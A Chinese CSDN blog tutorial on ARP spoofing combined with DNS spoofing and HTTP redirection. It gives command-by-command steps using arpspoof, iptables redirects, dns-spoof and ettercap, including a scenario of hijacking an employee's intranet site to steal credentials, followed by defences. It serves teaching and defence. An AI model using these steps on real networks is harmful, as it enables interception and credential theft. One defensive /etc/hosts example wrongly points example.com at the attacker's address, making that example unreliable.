ARP欺骗技术：DNS欺骗与HTTP重定向_（13）.ARP欺骗与DNS欺骗结合攻击

最新推荐文章于 2024-11-28 14:21:38 发布
最新推荐文章于 2024-11-28 14:21:38 发布
阅读量699 收藏 11
点赞数 16
分类专栏： 网络安全 文章标签： http php 网络协议 性能优化 网络 ARP欺骗技术
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/chenlz2007/article/details/143782738
版权

ARP欺骗与DNS欺骗结合攻击

1. 引言

ARP欺骗（Address Resolution Protocol Spoofing）是一种网络攻击技术，通过发送伪造的ARP（地址解析协议）数据包来篡改目标计算机的ARP缓存，从而将目标计算机的网络流量重定向到攻击者控制的机器。DNS欺骗（DNS Spoofing）则是通过篡改DNS解析结果，使目标计算机访问错误的IP地址，从而实现对目标计算机的控制或攻击。这两种技术结合使用，可以实现更复杂的攻击场景，例如中间人攻击（Man-in-the-Middle Attack）。

在这里插入图片描述

2. ARP欺骗原理

2.1 ARP协议简介

ARP协议用于将IP地址解析为物理（MAC）地址。在网络中，每个设备都有一个唯一的MAC地址，而IP地址则是用于网络层通信的地址。当一个设备需要与另一个设备通信时，它会发送一个ARP请求，询问目标IP地址对应的MAC地址。目标设备收到请求后，会发送一个ARP响应，告知自己的MAC地址。

2.2 ARP欺骗的基本步骤

  1. 监听网络流量：攻击者首先需要监听网络中的ARP请求和响应，以确定目标设备的IP地址和MAC地址。

  2. 发送伪造的ARP响应：攻击者伪造一个ARP响应，将自己的MAC地址与目标设备的IP地址绑定，并发送给目标设备。

  3. 篡改ARP缓存：目标设备收到伪造的ARP响应后，会更新其ARP缓存，将目标IP地址解析为攻击者的MAC地址。

  4. 中间人攻击：目标设备的所有流量都会通过攻击者控制的机器，攻击者可以监控、修改或阻断这些流量。

2.3 ARP欺骗的工具

常用的ARP欺骗工具包括ettercap、arpspoof等。这些工具可以自动化上述步骤，使攻击更加便捷。


# 使用arpspoof进行ARP欺骗

# 假设攻击者机器的网卡为eth0，目标IP为192.168.1.10，网关IP为192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

3. DNS欺骗原理

3.1 DNS协议简介

DNS（Domain Name System）协议用于将域名解析为IP地址。当用户访问一个网站时，浏览器会向DNS服务器发送查询请求，DNS服务器会返回相应的IP地址。

3.2 DNS欺骗的基本步骤

  1. 监听DNS查询：攻击者需要监听网络中的DNS查询请求，以确定目标设备正在访问的域名。

  2. 发送伪造的DNS响应：攻击者伪造一个DNS响应，将目标域名解析为攻击者控制的IP地址，并发送给目标设备。

  3. 篡改DNS缓存：目标设备收到伪造的DNS响应后，会更新其DNS缓存，将目标域名解析为攻击者的IP地址。

  4. 重定向流量：目标设备的所有流量都会被重定向到攻击者控制的机器，攻击者可以监控、修改或阻断这些流量。

3.3 DNS欺骗的工具

常用的DNS欺骗工具包括ettercap、dns-spoof等。这些工具可以自动化上述步骤，使攻击更加便捷。


# 使用dns-spoof进行DNS欺骗

# 假设目标域名是example.com，攻击者控制的IP地址是192.168.1.100

sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53

sudo dns-spoof -i eth0 -f dns-spoof.conf

3.4 dns-spoof配置文件示例


# dns-spoof.conf

# 目标域名和攻击者控制的IP地址

example.com 192.168.1.100

4. ARP欺骗与DNS欺骗结合攻击

4.1 攻击场景

假设攻击者想要对一个目标设备进行中间人攻击，并将目标设备访问的某个域名（例如example.com）重定向到攻击者控制的服务器。攻击者可以通过以下步骤实现这一目标：

  1. ARP欺骗：将目标设备的流量重定向到攻击者控制的机器。

  2. DNS欺骗：将目标域名解析为攻击者控制的IP地址。

  3. 中间人攻击：监控、修改或阻断目标设备的流量。

4.2 详细步骤

  1. 配置网络接口：确保攻击者机器的网络接口处于混杂模式，可以监听所有网络流量。

# 将网络接口eth0设置为混杂模式

sudo ifconfig eth0 promisc
  1. 启动ARP欺骗：使用arpspoof将目标设备的流量重定向到攻击者控制的机器。

# 将目标设备192.168.1.10的流量重定向到网关192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
  1. 配置iptables：设置iptables规则，将DNS查询重定向到攻击者机器的DNS服务。

# 将所有DNS查询重定向到本地DNS服务

sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53
  1. 启动DNS欺骗：使用dns-spoof或ettercap伪造DNS响应。

# 使用dns-spoof进行DNS欺骗

sudo dns-spoof -i eth0 -f dns-spoof.conf

4.3 实际操作示例

4.3.1 环境准备

假设攻击者机器的IP地址为192.168.1.100，目标设备的IP地址为192.168.1.10，网关的IP地址为192.168.1.1。目标设备正在访问example.com。

  1. 配置网络接口：

# 将网络接口eth0设置为混杂模式

sudo ifconfig eth0 promisc
  1. 启动ARP欺骗：

# 将目标设备192.168.1.10的流量重定向到网关192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
  1. 配置iptables：

# 将所有DNS查询重定向到本地DNS服务

sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53
  1. 配置DNS欺骗：

创建一个配置文件dns-spoof.conf，内容如下：


# dns-spoof.conf

# 目标域名和攻击者控制的IP地址

example.com 192.168.1.100
  1. 启动DNS欺骗：

# 使用dns-spoof进行DNS欺骗

sudo dns-spoof -i eth0 -f dns-spoof.conf
4.3.2 测试攻击效果
  1. 目标设备访问example.com：

在目标设备上打开浏览器，访问http://example.com。

  1. 攻击者机器监听DNS查询：

在攻击者机器上使用tcpdump监听DNS查询：


# 监听DNS查询

sudo tcpdump -i eth0 udp port 53
  1. 观察攻击效果：

目标设备的浏览器会显示攻击者控制的服务器内容，而不是真正的example.com内容。

5. HTTP重定向

5.1 HTTP重定向原理

HTTP重定向是指将HTTP请求从一个URL重定向到另一个URL。攻击者可以通过中间人攻击，修改HTTP请求中的URL，将目标设备的请求重定向到攻击者控制的服务器。

5.2 详细步骤

  1. 启动中间人攻击：通过ARP欺骗将目标设备的流量重定向到攻击者控制的机器。

  2. 监控HTTP流量：使用工具如ettercap或Wireshark监控HTTP流量。

  3. 修改HTTP请求：在HTTP请求中插入重定向指令，将目标设备的请求重定向到攻击者控制的服务器。

5.3 实际操作示例

5.3.1 环境准备

假设攻击者机器的IP地址为192.168.1.100，目标设备的IP地址为192.168.1.10。目标设备正在访问http://example.com。

  1. 启动ARP欺骗：

# 将目标设备192.168.1.10的流量重定向到网关192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
  1. 配置iptables：

# 将所有HTTP流量重定向到本地HTTP服务

sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
  1. 启动中间人攻击工具：

使用ettercap进行中间人攻击，并配置HTTP重定向。


# 启动ettercap的图形界面

sudo ettercap -G

在ettercap的图形界面中：

  • 选择目标设备：选择目标设备192.168.1.10和网关192.168.1.1。

  • 启用中间人攻击：选择MITM > ARP Spoofing，勾选Sniff remote connections。

  • 配置HTTP重定向：选择Plugins > Manage the plugins，启用http>redir插件。

  1. 配置HTTP重定向插件：

在ettercap的插件配置中，添加重定向规则：


# 重定向规则

example.com 192.168.1.100
  1. 测试攻击效果：

在目标设备上打开浏览器，访问http://example.com。目标设备的浏览器会显示攻击者控制的服务器内容，而不是真正的example.com内容。

6. 防御措施

6.1 ARP欺骗防御

  1. 静态ARP表：将关键设备的MAC地址静态绑定到ARP表中，防止动态ARP请求被篡改。

# 将网关192.168.1.1的MAC地址静态绑定

sudo arp -s 192.168.1.1 00:11:22:33:44:55
  1. ARP保护工具：使用工具如arpwatch、arpalert等监控网络中的ARP请求和响应，及时发现异常。

# 安装arpwatch

sudo apt-get install arpwatch

6.2 DNS欺骗防御

  1. DNSSEC：使用DNSSEC（DNS Security Extensions）对DNS解析结果进行签名验证，防止伪造DNS响应。

  2. 静态DNS配置：将关键域名的解析结果静态配置在目标设备的/etc/hosts文件中。


# /etc/hosts

192.168.1.100 example.com
  1. DNS监控工具：使用工具如dnstop、tcpdump等监控网络中的DNS查询和响应，及时发现异常。

# 使用tcpdump监控DNS查询

sudo tcpdump -i eth0 udp port 53

7. 实战案例

7.1 案例背景

假设在一个企业网络中，攻击者想要对某个员工的电脑进行ARP欺骗和DNS欺骗，将员工访问的公司内部网站重定向到攻击者控制的服务器，以获取员工的敏感信息。

7.2 案例步骤

  1. 环境准备：

  • 攻击者机器的IP地址为192.168.1.100。

  • 员工电脑的IP地址为192.168.1.10。

  • 公司内部网站的域名是intranet.example.com，真实的IP地址是192.168.1.20。

  1. 启动ARP欺骗：

# 将员工电脑192.168.1.10的流量重定向到网关192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
  1. 配置iptables：

# 将所有DNS查询重定向到本地DNS服务

sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53
  1. 启动DNS欺骗：

创建一个配置文件dns-spoof.conf，内容如下：


# dns-spoof.conf

# 目标域名和攻击者控制的IP地址

intranet.example.com 192.168.1.100

启动DNS欺骗：


# 使用dns-spoof进行DNS欺骗

sudo dns-spoof -i eth0 -f dns-spoof.conf
  1. 配置HTTP重定向：

# 将所有HTTP流量重定向到本地HTTP服务

sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

启动中间人攻击工具ettercap：


# 启动ettercap的图形界面

sudo ettercap -G

在ettercap的图形界面中：

  • 选择目标设备：选择员工电脑192.168.1.10和网关192.168.1.1。

  • 启用中间人攻击：选择MITM > ARP Spoofing，勾选Sniff remote connections。

  • 配置HTTP重定向：选择Plugins > Manage the plugins，启用http>redir插件。

  1. 配置HTTP重定向插件：

在ettercap的插件配置中，添加重定向规则：


# 重定向规则

intranet.example.com 192.168.1.100
  1. 测试攻击效果：

在员工电脑上打开浏览器，访问http://intranet.example.com。员工电脑的浏览器会显示攻击者控制的服务器内容，而不是真正的intranet.example.com内容。

7.3 防御措施

  1. 静态ARP表：将公司网关的MAC地址静态绑定到员工电脑的ARP表中。

# 将网关192.168.1.1的MAC地址静态绑定

sudo arp -s 192.168.1.1 00:11:22:33:44:55

  1. DNSSEC：启用DNSSEC，对DNS解析结果进行签名验证。

  2. 静态DNS配置：在员工电脑的/etc/hosts文件中，静态配置公司内部网站的IP地址。


# /etc/hosts

192.168.1.20 intranet.example.com
  1. DNS监控工具：使用dnstop监控网络中的DNS查询和响应，及时发现异常。

# 使用dnstop监控DNS查询

sudo dnstop eth0

8. 结论

ARP欺骗与DNS欺骗结合攻击是一种复杂的网络攻击技术，通过将目标设备的流量重定向到攻击者控制的机器，并篡改DNS解析结果，实现对目标设备的控制或窃取敏感信息。了解这些攻击的原理和步骤，可以帮助网络安全专业人员更好地防御此类攻击，保护网络的安全。

8.1 代码示例汇总

以下是一些主要的代码示例，供参考：

  • ARP欺骗：

# 将目标设备192.168.1.10的流量重定向到网关192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
  • 配置iptables：

# 将所有DNS查询重定向到本地DNS服务

sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53



# 将所有HTTP流量重定向到本地HTTP服务

sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
  • DNS欺骗：

# dns-spoof.conf

# 目标域名和攻击者控制的IP地址

example.com 192.168.1.100
  • 启动DNS欺骗：

# 使用dns-spoof进行DNS欺骗

sudo dns-spoof -i eth0 -f dns-spoof.conf
  • 配置HTTP重定向插件：

在ettercap的插件配置中，添加重定向规则：


# 重定向规则

example.com 192.168.1.100

8.2 攻击防御策略

8.2.1 静态ARP表

将关键设备的MAC地址静态绑定到ARP表中，可以有效防止动态ARP请求被篡改。


# 将网关192.168.1.1的MAC地址静态绑定

sudo arp -s 192.168.1.1 00:11:22:33:44:55
8.2.2 ARP保护工具

使用工具如arpwatch、arpalert等监控网络中的ARP请求和响应，及时发现异常。


# 安装arpwatch

sudo apt-get install arpwatch
8.2.3 DNSSEC

启用DNSSEC（DNS Security Extensions），对DNS解析结果进行签名验证，防止伪造DNS响应。

8.2.4 静态DNS配置

在目标设备的/etc/hosts文件中，静态配置关键域名的IP地址，可以防止DNS欺骗。


# /etc/hosts

192.168.1.20 intranet.example.com
8.2.5 DNS监控工具

使用工具如dnstop、tcpdump等监控网络中的DNS查询和响应，及时发现异常。


# 使用dnstop监控DNS查询

sudo dnstop eth0

8.3 实战中的注意事项

  1. 网络环境：在实际操作中，需要确保网络环境的安全性和稳定性，避免影响其他正常设备的网络通信。

  2. 权限管理：进行ARP欺骗和DNS欺骗时，需要具备足够的权限，通常需要以管理员身份运行相关工具。

  3. 日志监控：在网络设备和服务器上开启日志监控，及时发现和响应异常流量。

  4. 定期审计：定期对网络设备和服务器进行安全审计，确保没有被恶意篡改。

8.4 未来趋势

随着网络技术的发展，ARP欺骗和DNS欺骗的防御措施也在不断进步。未来的网络防御将更多地依赖于自动化和智能化的工具，以及更严格的安全策略。例如：

  • 自动化防御工具：开发能够自动检测和响应ARP欺骗和DNS欺骗的工具，减少人工干预。

  • AI和机器学习：利用AI和机器学习技术，分析网络流量模式，及时发现异常行为。

  • 零信任网络：实施零信任网络模型，确保网络中的每一台设备和每一个请求都经过严格的验证。

了解并应对这些未来的趋势，将有助于提高网络的整体安全性，保护企业和个人的敏感信息。

9. 附录

9.1 常用工具简介

  • ettercap：一个强大的中间人攻击工具，支持ARP欺骗、DNS欺骗等多种攻击方式。

  • arpspoof：一个专门用于ARP欺骗的工具，操作简便，适合快速攻击。

  • dns-spoof：一个专门用于DNS欺骗的工具，可以通过配置文件实现对多个域名的欺骗。

  • arpwatch：一个监控ARP请求和响应的工具，可以及时发现ARP欺骗行为。

  • dnstop：一个监控DNS查询和响应的工具，可以及时发现DNS欺骗行为。

9.2 进一步学习资源

  • 官方文档：各工具的官方文档提供了详细的使用方法和配置示例。

  • 在线课程：网络安全相关的在线课程，如Coursera、Udemy等平台上的课程，可以帮助深入了解这些攻击技术。

  • 技术社区：参与网络安全技术社区，如Stack Overflow、GitHub等，可以获取最新的技术和工具信息。

通过不断学习和实践，网络安全专业人员可以更好地应对ARP欺骗和DNS欺骗结合攻击，保护网络环境的安全。

ARP欺骗、DNS欺骗，与数据流重定向
平凡之路
03-01 5587
ARP欺骗、DNS欺骗，与数据流重定向 本文由优快云-蚍蜉撼青松【主页：http://blog.csdn.net/howeverpf】原创，转载请注明出处！   一、基于ARP欺骗的数据流重定向 1.1 ARP协议及其工作流程         ARP是Address Resolution Protocol（地址解析协议）的简写，RFC826中对其功能的描述为：将计算机的网络层协议地址解...
ARP欺骗、ICMP重定向、DNS欺骗对比
微醺半夏的博客
06-05 994
ARP欺骗、ICMP重定向、DNS欺骗对比 攻击成因 利用方法 攻击效果 攻击限制 ARP 欺骗 利用ARP协议的无状态性，通过捏造不存在的MAC地址更新操作系统ARP路 由缓存表。 发送伪造的发送者MAC地址的ARP请求。或者发送伪造的发送者MAC地址的ARP应答，使被攻击主机自动更新其AR...
arpspoof and dnsspoof
THMAIL的博客
08-01 1154
最近搞了一个监听神器，尽管使用了网卡混杂模式，不过监听到的几乎全是本地流量， 为了获取更多有用的数据，搞一下中间人攻击，最基本的就是arpspoof + IP转发，这样就可以获得局域网内任何人的上网流量， 难得的是实验室没有做ARP防护，给arpspoof一个大行其道的机会。 arpspoof 实战环境 攻击者(kali linux)：10.10.10.1 攻击目标：10.10.10.2 默认网关：10.10.10.254 攻击步骤 首先在本地开启IP转发，否则很容易被发觉。 echo 1» .
DNS欺骗之arpspoof&dnsspoof
田一柠的博客
12-05 1978
#################################################################################################################### echo 1 >/proc/sys/net/ipv4/ip_forward 开启转发，否则目标会断网。1为开启转发，0为关闭转发。 cat /proc/sys/net/ipv4/ip_forward 查看转发是否成功？ apt-get inst...
ARP攻击dns攻击
weixin_65659240的博客
11-21 869
ARP断网攻击、dns欺骗
ARP欺骗技术：DNS欺骗与HTTP重定向_（15）.实际案例分析
chenlz2007的博客
11-14 776
通过以上三个实际案例，我们可以看到ARP欺骗技术在DNS欺骗和HTTP重定向中的应用及其潜在的风险。ARP欺骗通过控制网络中的网关或DNS服务器，使目标设备的网络流量被重定向到攻击者的设备，从而实现了各种恶意活动。为了保护网络和用户的安全，需要采取多种防范措施，包括启用动态ARP检测、使用静态ARP表、部署ARP防火墙、网络监控、使用HTTPS协议以及教育用户提高安全意识。这些措施可以有效降低ARP欺骗带来的风险，保护网络的正常运行和用户的数据安全。
常见的十大网络安全攻击类型
m0_71745903的博客
09-28 1157
网络攻击是一种针对我们日常使用的计算机或信息系统的行为，其目的是篡改、破坏我们的数据，甚至直接窃取，或者利用我们的网络进行不法行为。你可能已经注意到，随着我们生活中越来越多的业务进行数字化，网络攻击的事件也在不断增加。网络攻击的种类繁多，是不是让你感到有些困惑？不用担心，接下来我将为你揭晓10大最常见的网络攻击类型。这样一来，你就能更深入地理解它们，也能更有效地防备这些网络攻击。
ARP欺骗技术：DNS欺骗与HTTP重定向.docxARP欺骗技术：DNS欺骗与HTTP重定向all.docxARP欺骗技术：DNS欺骗与HTTP重定向-（10）.HTTP重定向原理与机制.doc
08-31
ARP欺骗技术：DNS欺骗与HTTP重定向_（13）.ARP欺骗与DNS欺骗结合攻击.docx ARP欺骗技术：DNS欺骗与HTTP重定向_（14）.ARP欺骗与HTTP重定向结合攻击.docx ARP欺骗技术：DNS欺骗与HTTP重定向_（15）.实际案例分析.docx...
CGI安全风险与防护：ARP欺骗与DNS中毒解析
"CGI安全问题 附arp欺骗和DNS中毒" CGI（Common Gateway Interface，通用网关接口）是Web服务器与外部应用程序交互的一种技术，它允许用户通过浏览器提交数据到服务器，然后由服务器转发给CGI程序进行处理。由于CGI...
Hyper-V在网络安全实验教学中的应用——以基于ARP欺骗的DNS欺骗测试为例.pdf
09-20
在ARP欺骗的基础上，攻击者可以在局域网中将自己设置为“中间人”，不仅能捕获和修改数据包，还能控制DNS解析结果，进而将用户的合法请求重定向到恶意网站。 在网络安全实验教学中，通过使用Hyper-V搭建虚拟网络...
web安全day19：DNS欺骗、ARP攻击及钓鱼网站制作
小梁的博客
12-20 3245
钓鱼网站 钓鱼网站是指欺骗用户的虚假网站。“钓鱼网站”的页面与真实网站界面基本一致，欺骗消费者或者窃取访问者提交的账号和敏感信息。钓鱼网站一般只有一个或几个页面，和真实网站差别细微。钓鱼网站是互联网中最常碰到的一种诈骗方式，通常伪装成银行及电子商务、窃取用户提交的银行账号、口令等私密信息的网站。 社会工程学 凯文·米特尼克在《反欺骗的艺术》中曾提到，人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金，最终导致数据泄露的原因，往往却是发生在人本身。你们可能永远都想象不到，对于骇客们来说，通
常见信息安全威胁与经典案例
热门推荐
Skye's Blog
04-15 3万+
文章目录震网病毒威胁发展历程安全威胁分类网络安全威胁应用安全威胁数据传输与终端安全威胁 震网病毒 威胁发展历程 安全威胁分类 网络安全威胁 应用安全威胁 数据传输与终端安全威胁 ...
网络安全之——DNS欺骗实验
最新发布
2401_88751384的博客
11-28 676
DNS（域名系统）的作用是把网络地址（域名，以一个字符串的形式）对应到真实的计算机能够识别的网络地址（IP地址），以便计算机能够进一步通信，传递网址和内容等。由于域名劫持往往只能在特定的被劫持的网络范围内进行，所以在此范围外的域名服务器(DNS)能够返回正常的IP地址，高级用户可以在网络设置把DNS指向这些正常的域名服务器以实现对网址的正常访问。所以域名劫持通常相伴的措施——封锁正常DNS的IP。--------------- 这里我借用百度百科的解释 ---------------------
探索网络攻击：ARP断网、ARP欺骗和DNS欺骗实验解析
Filotimo_的博客
11-02 2384
在这篇博客中，我介绍了ARP断网、ARP欺骗和DNS欺骗这几种常见的网络攻击方式。然而，需要明确的是，这些实验仅仅是出于教育和研究目的，并且应以合法和道德的方式进行。
本地DNS攻击原理与实例
hl1293348082的专栏
04-02 1319
DNS 是计算机域名系统 ( Domain NameSystem 或 Domain Name Service ) 的缩写，它是由域名解析器和域名服务器组成的。 简单来说，当用户申请访问一个域名时，首先会向 DNS 服务器发送请求包询问该域名的 IP 地址，即 DNS 解析的过程。DNS 的 Cache 中，包含一系列缓存的域名和对应 IP ，当客户端访问的域名在 Cache 中已缓存，则直接返回该域名对应 IP ；若未缓存，则该服务器向其他与之最接近的 DNS 服务器发送查询请求。 由上可知，DN.
黑客技术—dns劫持
asdf8968的博客
11-07 1万+
目录 一、什么是DNS二、DNS原理三、什么是DNS劫持及危害四、DNS劫持方法五、如何防止DNS劫持（网络层面）六、如何防止DNS劫持（应用层面）七、历史著名劫持案例 检测网站是否被劫持  域名是否被墙  DNS污染检测  网站打开速度检测  网站是否被黑  被入侵  被改标题  被挂黑链     网站劫持检测  远程桌面连接软件    一、什么是DNS 在网络中，机器之间只认识I...
ARP欺骗+DNS欺骗
嘻嘻哈哈
01-24 1万+
一、共享网络与交换网络的区别 1、共享网络 在共享网络中，由于HUB属于一层设备，对于到达本身的数据报文，HUB会对报文进行广播(除了收到报文的那个接口)，因此接在同HUB的所有PC都能收到该报文。前提PC开启了混杂模式 注： 通常情况下，网卡都是工作在非混杂模式，也就是说即使收到数据报文，网卡会判断目的MAC是否和自己的一样，不一样的话代表数据包不是给自己的，因此会丢弃，只
网络攻防实验：ARP和DNS欺骗攻击
啵啵卜卜贝
10-08 5161
一、实验目的 通过本实验，读者重点掌握以下知识： （1） 常见的ARP欺骗和DNS欺骗原理及实现过程。 （2） 结合具体应用，分析ARP欺骗和DNS欺骗产生的原因。 （3） ARP欺骗和DNS欺骗的防范方法。 二、实验内容、步骤、结果 （如操作环境、系统配置、操作步骤、程序源代码、测试数据、测试结果、截屏等。） （1）操作环境：Windows Server 2003 （2）系统配置：安装和配置Cain软件 （3）操作步骤： 步骤1：在Windows服务器上安装Cain或Sniffer等软件，本实验中使用的是
ettercap局域网内DNS欺骗(隔壁的哥们轻一点 ...)
aozhuo4755的博客
12-13 1891
笔记一：ettercap是什么？ 我们在对WEB安全检测的时候都会用到Cain和netfuke这两款工具，功能相信用过的朋友多多少少都知道，但这两款工具是在windows下运行的。 而ettercap是在linux下运行的 。其实功能都是差不多的，我称呼它为嗅探工具，ARP欺骗，DNS，劫持，中间人攻击等等。总之这是一款强大的安全测试工具。 笔记二：DNS简单说明 了解DNS是什...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值